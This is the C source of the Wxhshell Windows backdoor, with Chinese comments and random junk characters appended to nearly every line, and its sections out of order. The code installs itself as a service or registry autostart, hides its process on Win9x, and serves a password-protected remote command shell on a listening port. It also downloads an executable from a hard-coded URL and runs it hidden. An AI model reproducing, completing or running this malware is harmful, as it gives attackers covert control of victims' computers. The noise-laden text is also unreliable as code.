ULONG InheritedFromUniqueProcessId; $d*PY_
} PROCESS_BASIC_INFORMATION; HChlkj'7w0
d6e$'w@(\T
PROCNTQSIP NtQueryInformationProcess; M2Jb<y]
hem>@Bp'V
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n{I1ZlEeh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,L=lg,lH^
Yb\d(k$h
HANDLE hProcess; B|K^:LUk9
PROCESS_BASIC_INFORMATION pbi; Mx Dqp;
]@!3os,CNF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l:+$K s
if(NULL == hInst ) return 0; <Rfx`mn
k&9[}a*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0at['zw
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sSy!mtS
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &!F"3bD0
WH_
W:
if (!NtQueryInformationProcess) return 0; wvmcD%
dUL*~%2I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FQ>y2n=<d
if(!hProcess) return 0; 9]vy#a#
#T=e p0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `96MXP
(#BOcx5J]
CloseHandle(hProcess); dpvEY(Ds
}g&
KT!r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `=l o. c
if(hProcess==NULL) return 0; /?NfU.+K
RiZ)#0
HMODULE hMod; 22/"0=2g
char procName[255]; c_T+T/O
unsigned long cbNeeded; UPy 4ST
K'f^=bcI
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
I;9C":'#
}wZsM[NDB
CloseHandle(hProcess); :JU$6
;+1ooeU
if(strstr(procName,"services")) return 1; // 以服务启动 Z*n4$?%W
J1w,;T\55
return 0; // 注册表启动 seVT|z
} }.1}yz^y
%\L{Ud%7
// 主模块 5+2qx)FZ
int StartWxhshell(LPSTR lpCmdLine) :F_>`{
{ ^Y%<$IFG
SOCKET wsl; 6_&S
?yA
BOOL val=TRUE; "E@A~<RKP
int port=0; z31g"
struct sockaddr_in door; nRyx2\Py+
y eam-8
if(wscfg.ws_autoins) Install(); ,Jx.Kj.,
ZH<qidpR
port=atoi(lpCmdLine); F:sUGM,
{e5-
if(port<=0) port=wscfg.ws_port; Jn%Etz-
e8M0Lz#}
WSADATA data; DVt^O[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D`fIw`
_
D!8v$(#hR
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Uz=ol.E
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,/qY 9eh
door.sin_family = AF_INET; J!}\v=Rn
door.sin_addr.s_addr = inet_addr("127.0.0.1"); FNs$k=*8
door.sin_port = htons(port); @{Dfro
qDcoccEf
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $b[Ha{9(v
closesocket(wsl); 8|nc($}~
return 1; x`Wb9[u8
} &Ez+4.srkh
Q!r&vQ/g
if(listen(wsl,2) == INVALID_SOCKET) { ^Rtxef
closesocket(wsl); IBUFXzl
return 1;
h;@>E:4Tg
} @yj~5Gf(j
Wxhshell(wsl); SW5n?Qj3-
WSACleanup(); \;iOQqv0&
p(cnSvg
return 0; E.*gKfL
^%m{yf#
} w}s5=>QG%
x |gYxZ
// 以NT服务方式启动 %{Obhj;c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]E)D})r`#
{ HA0F'k
DWORD status = 0; 7jHrLsB
DWORD specificError = 0xfffffff; '-mzt~zGOY
?mF:L"i
serviceStatus.dwServiceType = SERVICE_WIN32; S..8,5mBH
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :YPi>L5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }=JSd@`_
serviceStatus.dwWin32ExitCode = 0; A
H=%6oT2
serviceStatus.dwServiceSpecificExitCode = 0; ArScJ\/Nwv
serviceStatus.dwCheckPoint = 0; RN}joKV
serviceStatus.dwWaitHint = 0; D2J)qCK1)
C$$Zwgy
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RR|X4h0.
if (hServiceStatusHandle==0) return; VrWQ] L
QpA$='
status = GetLastError(); #R7hk5/8n}
if (status!=NO_ERROR) 8kC$Z )
{ Q`{Vs:8X
serviceStatus.dwCurrentState = SERVICE_STOPPED; [e_<UF@A*
serviceStatus.dwCheckPoint = 0; ?B@3A)a
serviceStatus.dwWaitHint = 0; Gm &jlN
serviceStatus.dwWin32ExitCode = status; O.Y|},F
serviceStatus.dwServiceSpecificExitCode = specificError; r;{ggwY&J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0jbG;
return; 8C[eHC*r
} hL&7D@
Vk*XiEfKm>
serviceStatus.dwCurrentState = SERVICE_RUNNING; s>1\bio*I
serviceStatus.dwCheckPoint = 0; `GlOl-
serviceStatus.dwWaitHint = 0; C,%Dp0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Anqt:(
} 5j\Kej
E(wS6
// 处理NT服务事件,比如:启动、停止 K4o']{:U
VOID WINAPI NTServiceHandler(DWORD fdwControl) LK!sk5/
{ (pHJEY
switch(fdwControl) 0 d+b<J,
{ I[b{*g2Zw
case SERVICE_CONTROL_STOP: ^6Zx-Mf\
serviceStatus.dwWin32ExitCode = 0; wp'[AR}
serviceStatus.dwCurrentState = SERVICE_STOPPED; lHPnAaue@
serviceStatus.dwCheckPoint = 0; yE.st9m
serviceStatus.dwWaitHint = 0; nf[KD,f
{ =T#hd7O`V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K4H27SH
} C~?p85
return; xFJT&=Af W
case SERVICE_CONTROL_PAUSE: wWSw0 H/
serviceStatus.dwCurrentState = SERVICE_PAUSED; a8v\H8@X
break; >rSCf=
case SERVICE_CONTROL_CONTINUE: C1(RgY|
serviceStatus.dwCurrentState = SERVICE_RUNNING; &
P%#
break; ,izp^,`
case SERVICE_CONTROL_INTERROGATE: T!Tp:&O-
break; (/Jy9=~
}; t=My=pG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V|F/ynJfA
} \){_\{&
Pa#Jwo
// 标准应用程序主函数 X}5"ZLa7l
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yakrsi/jV}
{ XH0o8\.
g/WDAO?d
// 获取操作系统版本 ZoYllk
OsIsNt=GetOsVer(); w~+\Mf z
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jr%F#/
8N$Xq\Da+>
// 从命令行安装 d>T8V(Bb
if(strpbrk(lpCmdLine,"iI")) Install(); /;:4$2R(;
J_j4Zb% K
// 下载执行文件 >e(@!\ x
if(wscfg.ws_downexe) { ^ UhqV"[7k
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $FDGHFM
WinExec(wscfg.ws_filenam,SW_HIDE); P #8+1iC1
} R4'>5.M
k {vd1,HZ
if(!OsIsNt) { 4E}Q<?UYSt
// 如果时win9x,隐藏进程并且设置为注册表启动 b|G~0[g
HideProc(); :7X{s4AU6
StartWxhshell(lpCmdLine); t;0]d7ey'
} N})vrB;1
else I 9?X
if(StartFromService())
\zBZ$5 rE
// 以服务方式启动 !KT.p2\
StartServiceCtrlDispatcher(DispatchTable); #;lEx'lKN
else T+t7/PwC;
// 普通方式启动 W5e>Z&&
StartWxhshell(lpCmdLine); A|@d{g
k]P'D
.
return 0; #c"05/=A
} p&0 G
.wTb/x
;Xqi;EA
PR AP~P&^
=========================================== [3ggJcUgW>
qF-Fc q
*-.`Q
]/3!t=La
lPC{R k.\C
WX`wz>KK^
" %&lwp
QNv5CQ&
#include <stdio.h> PI9aKNt
#include <string.h> wr(*RI"
#include <windows.h> O<mA+yk
#include <winsock2.h> BeD>y@ it
#include <winsvc.h> L_+Fin
#include <urlmon.h> nB[B
FVkU
0S
}\ML
#pragma comment (lib, "Ws2_32.lib") 4PR&67|AH_
#pragma comment (lib, "urlmon.lib") V?>&9D"m
k8SY=HP
#define MAX_USER 100 // 最大客户端连接数 tu@-+<*
#define BUF_SOCK 200 // sock buffer N6T
#define KEY_BUFF 255 // 输入 buffer !}c\u
cRCji^,KJ
#define REBOOT 0 // 重启 "(~fl<;
#define SHUTDOWN 1 // 关机 OwgPgrV
iAPGP-<6
#define DEF_PORT 5000 // 监听端口 \{Je!#
Lm.N
{NV'
#define REG_LEN 16 // 注册表键长度 ;*U&lT
#define SVC_LEN 80 // NT服务名长度 V`i (vC(
(9'q/qgTO
// 从dll定义API ZEpu5`
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >* F#ZZv}p
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^vzXT>t-M
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [Z;H=`
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P]2 /}\f
Q84XmXm|
// wxhshell配置信息 (y\.uPu!
struct WSCFG { P!)F1U]!
int ws_port; // 监听端口 a^X% (@Sg
char ws_passstr[REG_LEN]; // 口令 ^)$T`
int ws_autoins; // 安装标记, 1=yes 0=no 7s{['t
char ws_regname[REG_LEN]; // 注册表键名 }s#4m
char ws_svcname[REG_LEN]; // 服务名 '!4\H"t
char ws_svcdisp[SVC_LEN]; // 服务显示名 (Hmh b}H
char ws_svcdesc[SVC_LEN]; // 服务描述信息 P.=Dd"La
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4{ZVw/VP,-
int ws_downexe; // 下载执行标记, 1=yes 0=no yFDt%&*n^
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" naeppBo
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X3XTB*
onS4ZE3B
}; *13-)yfd
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// default Wxhshell configuration Fa </
struct WSCFG wscfg={DEF_PORT, %+#l{\z
"xuhuanlingzhe", O`PQ4Q*F
1, #"H<k(-Cz
"Wxhshell", %RzkP}1>E
"Wxhshell", ;7JyL|2
"WxhShell Service", us<dw@P7{
"Wrsky Windows CmdShell Service", Y9%zo~]-W'
"Please Input Your Password: ", c"Q9ob
1, V4W(>g
"http://www.wrsky.com/wxhshell.exe", WS1Y maV
"Wxhshell.exe" V.yDZ"
}; uMZ<i}
qA25P<